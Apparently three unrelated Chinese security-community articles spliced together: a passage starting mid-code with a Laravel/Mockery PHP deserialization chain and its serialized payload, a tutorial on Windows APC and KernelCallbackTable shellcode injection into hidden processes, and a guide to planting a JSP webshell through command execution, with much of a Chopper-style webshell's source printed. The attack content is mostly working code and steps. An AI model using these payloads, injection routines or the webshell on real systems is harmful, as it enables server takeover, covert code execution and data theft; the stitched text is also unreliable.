class Dispatcher {
protected $queueResolver;
function __construct()
{
$this->queueResolver = [new \Mockery\Loader\EvalLoader(), 'load'];
}
}
}
namespace Mockery\Loader {
class EvalLoader {}
}
namespace Mockery\Generator {
class MockDefinition {
protected $config;
protected $code;
function __construct($evilCode)
{
$this->code = $evilCode;
$this->config = new MockConfiguration();
}
}
class MockConfiguration {
protected $name = 'abcdefg';
}
}
namespace {
$code = "<?php phpinfo(); exit; ?>";
$exp = new \Illuminate\Broadcasting\PendingBroadcast($code);
echo serialize($exp);
}
?>
* 构造输出结果 :
O:40:"Illuminate\Broadcasting\PendingBroadcast":2:{S:9:"\00*\00events";O:25:"Illuminate\Bus\Dispatcher":1:{S:16:"\00*\00queueResolver";a:2:{i:0;O:25:"Mockery\Loader\EvalLoader":0:{}i:1;S:4:"load";}}S:8:"\00*\00event";O:38:"Illuminate\Broadcasting\BroadcastEvent":1:{S:10:"connection";O:32:"Mockery\Generator\MockDefinition":2:{S:9:"\00*\00config";O:35:"Mockery\Generator\MockConfiguration":1:{S:7:"\00*\00name";S:7:"abcdefg";}S:7:"\00*\00code";S:25:"<?php phpinfo(); exit; ?>";}}}
# 一些思考
* 危险函数的寻找
eval，call_user_func
* phpstorm + xdebug 调试代码
* PHP 序列化的时候 private 和 protected 变量会引入不可见字符 `\x00`，`\x00Test\x00y` 为 private，`\x00*\x00` 为 protected，注意这两个 `\x00` 就是 ascii 码为 0 的字符。这个字符显示和输出可能看不到，甚至导致截断，url 编码后就可以看得很清楚了。此时，为了更加方便进行反序列化 payload 的传输与显示，我们可以在序列化内容中用大写 S 表示字符串，此时这个字符串就支持将后面的字符串用 16 进制表示。
<?php
class Test
{
public $x="peri0d";
private $y="peri0d";
protected $z="peri0d";
}
$k = new Test();
echo serialize($k);
// O:4:"Test":3:{S:1:"x";S:6:"peri0d";S:7:"\x00Test\x00y";S:6:"peri0d";S:4:"\x00*\x00z";S:6:"peri0d";}
?>
* 反序列化测试代码 :
<?php
// 环境 : php 7.1.13 nts
class Test
{
public $x="peri0d";
private $y="peri0d";
protected $z="peri0d";
}
$n = new Test();
var_dump(serialize($n));
var_dump(unserialize(serialize($n))); // 成功
$k = 'O:4:"Test":3:{S:1:"x";S:6:"peri0d";S:7:"\00Test\00y";S:6:"peri0d";S:4:"\00*\00z";S:6:"peri0d";}';
var_dump(unserialize($k)); // 成功
$m = 'O:4:"Test":3:{s:1:"x";s:6:"peri0d";s:7:"\00Test\00y";s:6:"peri0d";s:4:"\00*\00z";s:6:"peri0d";}';
var_dump(unserialize($m)); // 失败
$l = 'O:4:"Test":3:{s:1:"x";s:6:"peri0d";s:7:"Testy";s:6:"peri0d";s:4:"*z";s:6:"peri0d";}';
var_dump(unserialize($l)); // 失败
?>
# 参考链接
* <https://xz.aliyun.com/t/5911>
* <https://xz.aliyun.com/t/5866> | 社区文章 |
Windows下关于进程的注入方法有很多
有几种通用性较强像APC注入和KernelCallbackTable注入。这里结合了实际参考了github代码和一些优化的项目来将其实现，然后更好的理解学习一下这两种注入的方式和它们的可操作性。
**APC Code Injection**
首先来介绍一下APC APC注入 和实现的过程中一些细节的地方，比如枚举线程，用户态内核态APC的区别等这样方便更好的理解APC
注入的实现原理和后续改进等。
Windows内核态使用APC来完成异步启动的I/O操作，线程挂起等行为
APC是（Asynchronous Procedure Call）指异步过程调用
APC是允许用户程序和系统组件在特定线程的上下文中执行代码，因此会在特定进程的地址空间内执行代码,与APC注入有关的DLL主要有两个：Kernel32.dll和Ntdll.dll
有关的函数主要有如下这几个
CreateToolhelp32Snapshot，Process32First，Process32Next，Thread32First，Thread32Next，OpenProcess，OpenThread，DuplicateHandle，GetCurrentProcess，WriteProcessMemory，VirtualProtectEx，QueueUserAPC，ResumeThread，NtAllocateVirtualMemory
以上的函数，在APC注入过程中都会使用到其中有几个在其他注入方法中可能不常见的函数，需要了解一下函数的作用。比如QueueUserAPC --将用户模式
异步过程调用 (APC) 对象添加到指定线程的 APC 队列，ResumeThread --递减线程的挂起计数。 当暂停计数递减为零时，将恢复线程的执行
* * *
每个线程都有一个存储所有APC的队列，线程可以在进程内执行代码，线程可以利用APC队列异步执行代码
* * *
**插播**
APC 分为两种类型用户模式APC 和 内核模式APC
用户模式APC在目标线程的进程上下文中的用户空间执行，它要求目标线程处于可更改的等待状态，内核模式APC在内核空间执行
此时又可以分为常规APC和特殊APC。
内核/用户 APC都具有三个功能：
● KernelRoutine：该函数将在内核空间中执行（如果是普通内核APC和用户APC，则IRQL= PASSIVE_LEVEL 如果是特殊内核APC
则IRQL=APC_LEVEL，这样创建具有编号的线程来挂起系统上的所有其他 CPU，并且每个线程将 IRQL
提升到DISPATCH_LEVEL，然后将当前处理器上的 IRQL 提升到DISPATCH_LEVEL，这样不会被 Windows
内核或任何其他驱动程序打断，并且由于 APC 是在APC_LEVEL或PASSIVE_LEVEL分派的，APC 在 APC 枚举期间不会更改。）
● RundownRoutine：如果线程在到达APC之前中止，就会在内核空间中调用此函数
● NormalRoutine：如果是内核态APC 这个函数会在内核空间调用，如果是用户态APC则会在用户空间调用。
每个线程都在_KTHREAD数据结构中有两个_KAPC_STATE类型的成员，名为ApcState和SavedApcState
● ApcState： 无论线程是附加到自己的进程还是其他进程都在使用
● SavedApcState：用于存储不是当前上下文且必须等待的进程上下文的APC（列如：当线程附加到另一个进程时候，APC正在排队等待自己的进程）
_KAPC_STATE 结构有一个名为 ApcListHead 的成员，它是两个 LIST_ENTRY 结构，被视为内核 APC 和用户 APC
的列表头，并将用于为线程排队 APC
Windbg内核调试即可获取到_KAPC_STATE
0: kd> dt nt!_KTHREAD
+0x000 Header : _DISPATCHER_HEADER
+0x018 SListFaultAddress : Ptr64 Void
.......................................................
+0x098 ApcState : _KAPC_STATE
+0x098 ApcStateFill : [43] UChar
+0x0c3 Priority : Char
+0x0c4 UserIdealProcessor : Uint4B
+0x0c8 WaitStatus : Int8B
+0x0d0 WaitBlockList : Ptr64 _KWAIT_BLOCK
+0x0d8 WaitListEntry : _LIST_ENTRY
.......................................................
+0x258 SavedApcState : _KAPC_STATE
+0x258 SavedApcStateFill : [43] UChar
+0x283 WaitReason : UChar
+0x284 SuspendCount : Char
+0x285 Saturation : Char
0: kd> dt nt!_KAPC_STATE
+0x000 ApcListHead : [2] _LIST_ENTRY ! 这里就是内核或者用户态 APC 的队列头
+0x020 Process : Ptr64 _KPROCESS
+0x028 InProgressFlags : UChar
+0x028 KernelApcInProgress : Pos 0, 1 Bit
+0x028 SpecialApcInProgress : Pos 1, 1 Bit
+0x029 KernelApcPending : UChar
+0x02a UserApcPendingAll : UChar
+0x02a SpecialUserApcPending : Pos 0, 1 Bit
+0x02a UserApcPending : Pos 1, 1 Bit
（线程在进程中执行代码 线程可以利用APC队列异步执行代码 每个线程都有一个存储所有apc的队列 应用程序可以将APC队列到给定的线程(取决于特权) ）
枚举：枚举进程中所有线程ID
现在已经知道了APC队列存在于进程内的线程中，所以就需要从_KPROCESS结构获取进程线程列表，然后再去线程上获取_KTHREAD结构，再从_KTHREAD结构获取
_KAPC_STATE结构然后再去解析内核APC或者用户态APC。但是问题是不同windows版本的话，偏移是会变的如果搞错了就有可能导致BOSD！所以这个方法需要我们获取不同Windows版本的偏移值才行
我们也可以从用户模式进程中枚举线程ID
那我们就需要完成获取目标进程中的所有线程ID
两个方法
● ZwQuerySystemInformation
并将SystemProcessInformation作为SystemInformationClass参数
● CreateToolhelp32Snaphot ->Thread32First ->Thread32Next
枚举线程ID代码（这里展示的CreateToolhelp32Snaphot方法）
hThreadSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
if (hThreadSnap == INVALID_HANDLE_VALUE)
return(FALSE);
te32.dwSize = sizeof(THREADENTRY32);
if (!Thread32First(hThreadSnap, &te32)) {
//Error calling Thread32First
CloseHandle(hThreadSnap);
return(FALSE);
}
do
{
if (te32.th32OwnerProcessID == dwOwnerPID)
{
printf(TEXT("THREAD ID = 0x%08X"), te32.th32ThreadID);
printf(TEXT("base priority = %d"), te32.tpBasePri);
printf(TEXT("delta priority = %d"), te32.tpDeltaPri);
Threadarray[counter]= te32.th32ThreadID;
counter++;
}
} while (Thread32Next(hThreadSnap, &te32));
上述插播了一下关于APC在用户态和内核态的一些前置知识也说明了枚举线程过程中用到的结构等，然后来看一下具体实现APC注入的过程。
APC 注入的步骤（在完成一个标准的apc注入需要的过程）
* 首先确定并且找到你要注入的进程（PID）
* 在该进程的内存空间中分配出内存
* 将你准备的shellcode写入你分配出来的内存空间
* 然后查找遍历出进程中的所有线程（上述插播中介绍了枚举是如果实施的此处就好理解了）
* 将APC函数放入所有线程中的队列
* 最后APC函数指向放入的Shellcode（线程恢复并且执行Shellcode）
这里不要把进程和线程混淆
那么当进程中的线程被调用的时候，也代表我们放入线程队列里的APC函数也将被调用，此时Shellcode就会被执行
但是该方法有个缺陷恶意程序无法强制受害线程执行注入的代码。
但是也能修复这个缺陷其方法名为Early Bird APC Queue Code Injection
Early Bird APC Queue Code Injection 它与传统的APC Code Injection 差别在其发生在进程初始化的阶段
也就是在挂起的状态下去创建新的合法进程
BOOL creationResult;
creationResult = CreateProcess(
NULL, // No module name (use command line)
cmdLine, // Command line
NULL, // Process handle not inheritable
NULL, // Thread handle not inheritable
FALSE, // Set handle inheritance to FALSE
NORMAL_PRIORITY_CLASS | CREATE_NEW_CONSOLE | CREATE_NEW_PROCESS_GROUP, // creation flags
NULL, // Use parent's environment block
NULL, // Use parent's starting directory
&startupInfo, // Pointer to STARTUPINFO structure
&processInformation); // Pointer to PROCESS_INFORMATION structure
这样的话当我们进行APC注入的时候，线程是一直处于suspended状态的。
然后因为APC注入设计对存放数据内存区域的修改，所以需要修改保护属性，然后大致说一下保护属性的含义。
内存页面保护属性有
PAGE_NOACCESS、PAGE_READONLY、PAGE_READWRITE、PAGE_EXECUTE、PAGE_EXECUTE_READ、PAGE_EXECUTE_READWRITE、PAGE_WRITECOPY、PAGE_EXECUTE_WRITECOPY。
一些恶意软件将代码写入到用于数据的内存区域（比如线程栈上），通过这种方式让应用程序执行恶意代码。windows数据执行保护特性提供了对此类恶意攻击的防护。如果启用了DEP，那么只有对那些真正需要执行的代码的内存区域，操作系统才page
_execute_ *保护属性。其它保护属性（最常见的就是PAGE_READWRITE）用于只应该存放数据的内存区域。
最终核心的代码实现
CreateProcessA(NULL, (LPSTR)targetexe, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, startInfo, procInfo)//用挂起模式创建目标进程
VirtualAllocEx(procInfo->hProcess, NULL, payloadSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE)//在保护属性PAGE_READWRITE的远程进程中分配内存
VirtualProtectEx(procInfo->hProcess, baseAddress, payloadSize, PAGE_EXECUTE_READ, &oldProtect)//将已分配内存的内存保护属性从PAGE_READWRITE更改为PAGE_EXECUTE_READ
设置程序(APC程序)
QueueUserAPC((PAPCFUNC)tRoutine, procInfo->hThread, 0)//把payload放入APC队列里
ResumeThread(procInfo->hThread)//恢复线程
这样最开始处于挂起状态创建的进程，就会开始执行触发APC函数
成功完成注入
**KernelCallbackTable注入**
KernelCallbackTable 注入可以被用于在远程进程中注入shellcode，KernelCallbackTable
可以在PEB中找到，它被KeUserModeCallback所使用，内核态调用KeUserModeCallback就可以在用户态中执行KernelCallbackTable中对应的函数。而且很多提权CVE的漏洞都有涉及到Hook
KernelCallbackTable是windows中的回调过程。像CVE-2018-8453等，所以KernelCallbackTable是windows中一个比较重要的概念
大致注入过程为：使用VirtualAllocEx和WriteProcessMemory写入数据，使用NtQueryInformationProcess获取目标进程的PEB地址，并且读取查找内核回调表的位置，编写一个新的内核回调表，将fnCOPYDATA的地址修改为shellcode入口，在目标进程中获取对象拥有的窗口发送WM_COPYDATA消息来触发。
有关的函数主要有如下这几个
CreateProcess，WaitForInputIdle，FindWindow，GetWindowThreadProcessId，ReadProcessMemory，VirtualAllocEx，WriteProcessMemory，SendMessage，NtQueryInformationProcess
KernelCallbackTable注入用于在注入后运行shellcode，有时在其他进程中，基本上使用KeUserModeCallback或KERNELCALLBACKTABLE结构中的__fnCOPYDATA
KernelCallbackTable的结构体，在KernelCallbackTable注入中很重要，上述说的__fnCOPYDATA就在下列结构体中
typedef struct _KERNELCALLBACKTABLE_T {
ULONG_PTR __fnCOPYDATA;
ULONG_PTR __fnCOPYGLOBALDATA;
ULONG_PTR __fnDWORD;
ULONG_PTR __fnNCDESTROY;
ULONG_PTR __fnDWORDOPTINLPMSG;
ULONG_PTR __fnINOUTDRAG;
ULONG_PTR __fnGETTEXTLENGTHS;
ULONG_PTR __fnINCNTOUTSTRING;
ULONG_PTR __fnPOUTLPINT;
ULONG_PTR __fnINLPCOMPAREITEMSTRUCT;
ULONG_PTR __fnINLPCREATESTRUCT;
ULONG_PTR __fnINLPDELETEITEMSTRUCT;
ULONG_PTR __fnINLPDRAWITEMSTRUCT;
ULONG_PTR __fnPOPTINLPUINT;
ULONG_PTR __fnPOPTINLPUINT2;
ULONG_PTR __fnINLPMDICREATESTRUCT;
ULONG_PTR __fnINOUTLPMEASUREITEMSTRUCT;
ULONG_PTR __fnINLPWINDOWPOS;
ULONG_PTR __fnINOUTLPPOINT5;
ULONG_PTR __fnINOUTLPSCROLLINFO;
ULONG_PTR __fnINOUTLPRECT;
ULONG_PTR __fnINOUTNCCALCSIZE;
ULONG_PTR __fnINOUTLPPOINT5_;
ULONG_PTR __fnINPAINTCLIPBRD;
ULONG_PTR __fnINSIZECLIPBRD;
ULONG_PTR __fnINDESTROYCLIPBRD;
ULONG_PTR __fnINSTRING;
ULONG_PTR __fnINSTRINGNULL;
ULONG_PTR __fnINDEVICECHANGE;
ULONG_PTR __fnPOWERBROADCAST;
ULONG_PTR __fnINLPUAHDRAWMENU;
ULONG_PTR __fnOPTOUTLPDWORDOPTOUTLPDWORD;
ULONG_PTR __fnOPTOUTLPDWORDOPTOUTLPDWORD_;
ULONG_PTR __fnOUTDWORDINDWORD;
ULONG_PTR __fnOUTLPRECT;
ULONG_PTR __fnOUTSTRING;
ULONG_PTR __fnPOPTINLPUINT3;
ULONG_PTR __fnPOUTLPINT2;
ULONG_PTR __fnSENTDDEMSG;
ULONG_PTR __fnINOUTSTYLECHANGE;
ULONG_PTR __fnHkINDWORD;
ULONG_PTR __fnHkINLPCBTACTIVATESTRUCT;
ULONG_PTR __fnHkINLPCBTCREATESTRUCT;
ULONG_PTR __fnHkINLPDEBUGHOOKSTRUCT;
ULONG_PTR __fnHkINLPMOUSEHOOKSTRUCTEX;
ULONG_PTR __fnHkINLPKBDLLHOOKSTRUCT;
ULONG_PTR __fnHkINLPMSLLHOOKSTRUCT;
ULONG_PTR __fnHkINLPMSG;
ULONG_PTR __fnHkINLPRECT;
ULONG_PTR __fnHkOPTINLPEVENTMSG;
ULONG_PTR __xxxClientCallDelegateThread;
ULONG_PTR __ClientCallDummyCallback;
ULONG_PTR __fnKEYBOARDCORRECTIONCALLOUT;
ULONG_PTR __fnOUTLPCOMBOBOXINFO;
ULONG_PTR __fnINLPCOMPAREITEMSTRUCT2;
ULONG_PTR __xxxClientCallDevCallbackCapture;
ULONG_PTR __xxxClientCallDitThread;
ULONG_PTR __xxxClientEnableMMCSS;
ULONG_PTR __xxxClientUpdateDpi;
ULONG_PTR __xxxClientExpandStringW;
ULONG_PTR __ClientCopyDDEIn1;
ULONG_PTR __ClientCopyDDEIn2;
ULONG_PTR __ClientCopyDDEOut1;
ULONG_PTR __ClientCopyDDEOut2;
ULONG_PTR __ClientCopyImage;
ULONG_PTR __ClientEventCallback;
ULONG_PTR __ClientFindMnemChar;
ULONG_PTR __ClientFreeDDEHandle;
ULONG_PTR __ClientFreeLibrary;
ULONG_PTR __ClientGetCharsetInfo;
ULONG_PTR __ClientGetDDEFlags;
ULONG_PTR __ClientGetDDEHookData;
ULONG_PTR __ClientGetListboxString;
ULONG_PTR __ClientGetMessageMPH;
ULONG_PTR __ClientLoadImage;
ULONG_PTR __ClientLoadLibrary;
ULONG_PTR __ClientLoadMenu;
ULONG_PTR __ClientLoadLocalT1Fonts;
ULONG_PTR __ClientPSMTextOut;
ULONG_PTR __ClientLpkDrawTextEx;
ULONG_PTR __ClientExtTextOutW;
ULONG_PTR __ClientGetTextExtentPointW;
ULONG_PTR __ClientCharToWchar;
ULONG_PTR __ClientAddFontResourceW;
ULONG_PTR __ClientThreadSetup;
ULONG_PTR __ClientDeliverUserApc;
ULONG_PTR __ClientNoMemoryPopup;
ULONG_PTR __ClientMonitorEnumProc;
ULONG_PTR __ClientCallWinEventProc;
ULONG_PTR __ClientWaitMessageExMPH;
ULONG_PTR __ClientWOWGetProcModule;
ULONG_PTR __ClientWOWTask16SchedNotify;
ULONG_PTR __ClientImmLoadLayout;
ULONG_PTR __ClientImmProcessKey;
ULONG_PTR __fnIMECONTROL;
ULONG_PTR __fnINWPARAMDBCSCHAR;
ULONG_PTR __fnGETTEXTLENGTHS2;
ULONG_PTR __fnINLPKDRAWSWITCHWND;
ULONG_PTR __ClientLoadStringW;
ULONG_PTR __ClientLoadOLE;
ULONG_PTR __ClientRegisterDragDrop;
ULONG_PTR __ClientRevokeDragDrop;
ULONG_PTR __fnINOUTMENUGETOBJECT;
ULONG_PTR __ClientPrinterThunk;
ULONG_PTR __fnOUTLPCOMBOBOXINFO2;
ULONG_PTR __fnOUTLPSCROLLBARINFO;
ULONG_PTR __fnINLPUAHDRAWMENU2;
ULONG_PTR __fnINLPUAHDRAWMENUITEM;
ULONG_PTR __fnINLPUAHDRAWMENU3;
ULONG_PTR __fnINOUTLPUAHMEASUREMENUITEM;
ULONG_PTR __fnINLPUAHDRAWMENU4;
ULONG_PTR __fnOUTLPTITLEBARINFOEX;
ULONG_PTR __fnTOUCH;
ULONG_PTR __fnGESTURE;
ULONG_PTR __fnPOPTINLPUINT4;
ULONG_PTR __fnPOPTINLPUINT5;
ULONG_PTR __xxxClientCallDefaultInputHandler;
ULONG_PTR __fnEMPTY;
ULONG_PTR __ClientRimDevCallback;
ULONG_PTR __xxxClientCallMinTouchHitTestingCallback;
ULONG_PTR __ClientCallLocalMouseHooks;
ULONG_PTR __xxxClientBroadcastThemeChange;
ULONG_PTR __xxxClientCallDevCallbackSimple;
ULONG_PTR __xxxClientAllocWindowClassExtraBytes;
ULONG_PTR __xxxClientFreeWindowClassExtraBytes;
ULONG_PTR __fnGETWINDOWDATA;
ULONG_PTR __fnINOUTSTYLECHANGE2;
ULONG_PTR __fnHkINLPMOUSEHOOKSTRUCTEX2;
} KERNELCALLBACKTABLE;
步骤：
● 生成payload并且存放payload
●
检索窗口的句柄，通过窗口的类名称和窗口名称和字符串匹配（此函数不检索子窗口），然后返回指定类名和窗口名称的窗口的句柄//FindWindow(L"Shell_TrayWnd",
NULL);
●
检索创建指定窗口的线程的标识符，以及可选的创建窗口的进程的标识符。返回创建窗口的线程的标识符//GetWindowThreadProcessId(hWindow,
&pid)
● 读取PEB和KernelCallBackTable的地址
● 将新表写入远程进程
● 更新PEB和触发payload
● 恢复原来的KernelCallbackTable
● 释放内存
● 关闭句柄
完成上述步骤 实现代码后你发现，并没有完成运行因为没有弹出计算器
上述的poc目标进程是explorer.exe ，结果失败了
那么我们可以换一个目标进程试试 比如 Notepad.exe?
换一个进程就可以了，所以测试的时候拿记事本进程真的是一个好选择
为什么explorer.exe系统上还有其他进程在运行呢？
因为PEB中找到的仅是在GUI进程使用的，当加载到进程的内存中KernelCallbackTable时候才会被初始化
代码中出现的问题：explorer.exe在更新目标进程的PEB时候立刻崩溃了，崩溃后又重启explorer.exe这将导致获取的窗口句柄就无效了，最后导致SendMessage函数调用失败。所以我们注入explorer.exe的时候会发现直接闪了一下就恢复了。就是因为崩溃之后又重新启动，导致注入的代码失败被清理。
为什么会出现问题呢？
因为我们必须先枚举系统上可用的窗口类（这是可行的EnumWindows()功能。）
这样就会导致目标进程都会崩溃（崩溃对用户可见）
那怎么解决这个问题呢
可以通过不定位explorer.exe和加载user32.dll到内存中解决，但是加载user32.dll到当前内存的话，payload就会在本地执行了。但是不能注入到另一个进程中（也就不能remote
process injection）
那么既然进程崩溃是不可避免的，那可以产生一个用户不可见的进程，这样即使崩溃也没有影响
CreateProcess(L"C:\\Windows\\System32\\notepad.exe", NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);
将进程创建标志设置dwFlags为CREATE_SUSPENDED“隐藏”
可以看到这一行代码跟我们上述介绍APC 注入的时候使用的是一样的。所以实现进程注入的时候将进程挂起状态进行隐藏是一个非常好的选择
但是
这个方法创建的进程是挂起的没有任何窗口，也就是没有窗口我们就不能获取到句柄了。这样就无法完成后续的注入和payload执行了。因为我们APC注入是不需要获取句柄（只需要获取进程pid，和枚举线程即可）就可以完成注入的
那么我们需要想办法获取到句柄
我们可以使用 STARTUPINFOA 结构体它可以帮助我们在创建时指定进程主窗口的窗口站、桌面、标准句柄等
typedef struct _STARTUPINFOA {
DWORD cb;
LPSTR lpReserved;
LPSTR lpDesktop;
LPSTR lpTitle;
DWORD dwX;
DWORD dwY;
DWORD dwXSize;
DWORD dwYSize;
DWORD dwXCountChars;
DWORD dwYCountChars;
DWORD dwFillAttribute;
DWORD dwFlags;
WORD wShowWindow;
WORD cbReserved2;
LPBYTE lpReserved2;
HANDLE hStdInput;
HANDLE hStdOutput;
HANDLE hStdError;
} STARTUPINFOA, *LPSTARTUPINFOA;
（STARTF_USESHOWWINDOW //The wShowWindow member contains additional
information.）
（）
设置 dwFlags，wShowWindow成员
首先设置dwFlags 为 STARTF_USESHOWWINDOW 这样就可以获取wShowWindow信息
然后设置wShowWindow 为 SW_HIDE 它是取决于窗口的可见性
然后再把把CREATE_SUSPENDED改为CREATE_NEW_CONSOLE
这样该过程对用户不可见，并且有一个窗口了。但是，跑代码还是没有获得任何句柄
调试失败的原因是创建的进程还没有来得及初始化它的输入，也确实因为我们创建了一个不可见的窗口来展示，且新进程是具有新控制台的。于是用需要等待进程初始化完成之后，执行后续代码即可。
WaitForInputIdle(Process, 1000)完美搞定了，该函数它会等到进程完成初始化就会继续执行。
当执行的时候，用户界面是看不见任何东西的完成注入。
其实我们可以发现上述代码中用到的小细节以及克服的一些问题，都是通过CreteProcess中一些其他参数的用法而完成的。可以多看看Flags的参数都有哪些用处，说不定有些更好的实现方法。 | 社区文章 |
> Author:darkyantou@5ecurity.cn
> 原文链接：<http://www.5ecurity.cn/index.php/archives/137/>
我们有时候会遇到存在命令执行漏洞的网站，我们想写入一句话或者jsp大马。
偶尔运气比较背，或者策略比较严会出现以下两种情况：
1. `wget` 命令不存在
2. 禁止 **从外网下载** 东西
这是我们可能想要通过`echo` 来 **写一个木马文件**
echo neirong > /目录/360.jsp
问题来了 小马或者大马存在各种特殊字符需要转义输出文件中内容各种报错不解析等等
这时候我们可以利用`base64`编码再解码输出到文件，完美解决转义问题
语句如下：
echo base64后的木马内容 |base64 -d > 360.jsp
echo <?xml version="1.0" encoding="utf-8"?>

<jsp:root xmlns:jsp="http://java.sun.com/JSP/Page" xmlns="http://www.w3.org/1999/xhtml" xmlns:c="http://java.sun.com/jsp/jstl/core" version="1.2">
  <jsp:directive.page contentType="text/html" pageEncoding="UTF-8"/>
  <jsp:directive.page import="java.io.*"/>
  <jsp:directive.page import="java.util.*"/>
  <jsp:directive.page import="java.net.*"/>
  <jsp:directive.page import="java.sql.*"/>
  <jsp:directive.page import="java.text.*"/>
  <jsp:declaration>String Pwd="023";String cs="UTF-8";String EC(String s)throws Exception{return new String(s.getBytes("ISO-8859-1"),cs);}Connection GC(String s)throws Exception{String[] x=s.trim().split("\r\n");Class.forName(x[0].trim());if(x[1].indexOf("jdbc:oracle")!=-1){return DriverManager.getConnection(x[1].trim()+":"+x[4],x[2].equalsIgnoreCase("[/null]")?"":x[2],x[3].equalsIgnoreCase("[/null]")?"":x[3]);}else{Connection c=DriverManager.getConnection(x[1].trim(),x[2].equalsIgnoreCase("[/null]")?"":x[2],x[3].equalsIgnoreCase("[/null]")?"":x[3]);if(x.length&gt;4){c.setCatalog(x[4]);}return c;}}void AA(StringBuffer sb)throws Exception{File r[]=File.listRoots();for(int i=0;i&lt;r.length;i++){sb.append(r[i].toString().substring(0,2));}}void BB(String s,StringBuffer sb)throws Exception{File oF=new File(s),l[]=oF.listFiles();String sT,sQ,sF="";java.util.Date dt;SimpleDateFormat fm=new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");for(int i=0; i&lt;l.length; i++){dt=new java.util.Date(l[i].lastModified());sT=fm.format(dt);sQ=l[i].canRead()?"R":"";sQ +=l[i].canWrite()?" W":"";if(l[i].isDirectory()){sb.append(l[i].getName()+"/\t"+sT+"\t"+l[i].length()+"\t"+sQ+"\n");}else{sF+=l[i].getName()+"\t"+sT+"\t"+l[i].length()+"\t"+sQ+"\n";}}sb.append(sF);}void EE(String s)throws Exception{File f=new File(s);if(f.isDirectory()){File x[]=f.listFiles();for(int k=0; k &lt; x.length; k++){if(!x[k].delete()){EE(x[k].getPath());}}}f.delete();}void FF(String s,HttpServletResponse r)throws Exception{int n;byte[] b=new byte[512];r.reset();ServletOutputStream os=r.getOutputStream();BufferedInputStream is=new BufferedInputStream(new FileInputStream(s));os.write(("-&gt;"+"|").getBytes(),0,3);while((n=is.read(b,0,512))!=-1){os.write(b,0,n);}os.write(("|"+"&lt;-").getBytes(),0,3);os.close();is.close();}void GG(String s,String d)throws Exception{String h="0123456789ABCDEF";File f=new File(s);f.createNewFile();FileOutputStream os=new FileOutputStream(f);for(int i=0; i&lt;d.length();i+=2){os.write((h.indexOf(d.charAt(i)) &lt;&lt; 4 | h.indexOf(d.charAt(i+1))));}os.close();}void HH(String s,String d)throws Exception{File sf=new File(s),df=new File(d);if(sf.isDirectory()){if(!df.exists()){df.mkdir();}File z[]=sf.listFiles();for(int j=0; j&lt;z.length; j++){HH(s+"/"+z[j].getName(),d+"/"+z[j].getName());}}else{FileInputStream is=new FileInputStream(sf);FileOutputStream os=new FileOutputStream(df);int n;byte[] b=new byte[512];while((n=is.read(b,0,512))!=-1){os.write(b,0,n);}is.close();os.close();}}void II(String s,String d)throws Exception{File sf=new File(s),df=new File(d);sf.renameTo(df);}void JJ(String s)throws Exception{File f=new File(s);f.mkdir();}void KK(String s,String t)throws Exception{File f=new File(s);SimpleDateFormat fm=new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");java.util.Date dt=fm.parse(t);f.setLastModified(dt.getTime());}void LL(String s,String d)throws Exception{URL u=new URL(s);int n=0;FileOutputStream os=new FileOutputStream(d);HttpURLConnection h=(HttpURLConnection) u.openConnection();InputStream is=h.getInputStream();byte[] b=new byte[512];while((n=is.read(b))!=-1){os.write(b,0,n);}os.close();is.close();h.disconnect();}void MM(InputStream is,StringBuffer sb)throws Exception{String l;BufferedReader br=new BufferedReader(new InputStreamReader(is));while((l=br.readLine())!=null){sb.append(l+"\r\n");}}void NN(String s,StringBuffer sb)throws Exception{Connection c=GC(s);ResultSet r=s.indexOf("jdbc:oracle")!=-1?c.getMetaData().getSchemas():c.getMetaData().getCatalogs();while(r.next()){sb.append(r.getString(1)+"\t");}r.close();c.close();}void OO(String s,StringBuffer sb)throws Exception{Connection c=GC(s);String[] x=s.trim().split("\r\n");ResultSet r=c.getMetaData().getTables(null,s.indexOf("jdbc:oracle")!=-1?x.length&gt;5?x[5]:x[4]:null,"%",new String[]{"TABLE"});while(r.next()){sb.append(r.getString("TABLE_NAME")+"\t");}r.close();c.close();}void PP(String s,StringBuffer sb)throws Exception{String[] x=s.trim().split("\r\n");Connection c=GC(s);Statement m=c.createStatement(1005,1007);ResultSet r=m.executeQuery("select * from "+x[x.length-1]);ResultSetMetaData d=r.getMetaData();for(int i=1;i&lt;=d.getColumnCount();i++){sb.append(d.getColumnName(i)+" ("+d.getColumnTypeName(i)+")\t");}r.close();m.close();c.close();}void QQ(String cs,String s,String q,StringBuffer sb,String p)throws Exception{Connection c=GC(s);Statement m=c.createStatement(1005,1008);BufferedWriter bw=null;try{ResultSet r=m.executeQuery(q.indexOf("--f:")!=-1?q.substring(0,q.indexOf("--f:")):q);ResultSetMetaData d=r.getMetaData();int n=d.getColumnCount();for(int i=1; i &lt;=n; i++){sb.append(d.getColumnName(i)+"\t|\t");}sb.append("\r\n");if(q.indexOf("--f:")!=-1){File file=new File(p);if(q.indexOf("-to:")==-1){file.mkdir();}bw=new BufferedWriter(new OutputStreamWriter(new FileOutputStream(new File(q.indexOf("-to:")!=-1?p.trim():p+q.substring(q.indexOf("--f:")+4,q.length()).trim()),true),cs));}while(r.next()){for(int i=1; i&lt;=n;i++){if(q.indexOf("--f:")!=-1){bw.write(r.getObject(i)+""+"\t");bw.flush();}else{sb.append(r.getObject(i)+""+"\t|\t");}}if(bw!=null){bw.newLine();}sb.append("\r\n");}r.close();if(bw!=null){bw.close();}}catch(Exception e){sb.append("Result\t|\t\r\n");try{m.executeUpdate(q);sb.append("Execute Successfully!\t|\t\r\n");}catch(Exception ee){sb.append(ee.toString()+"\t|\t\r\n");}}m.close();c.close();}</jsp:declaration>
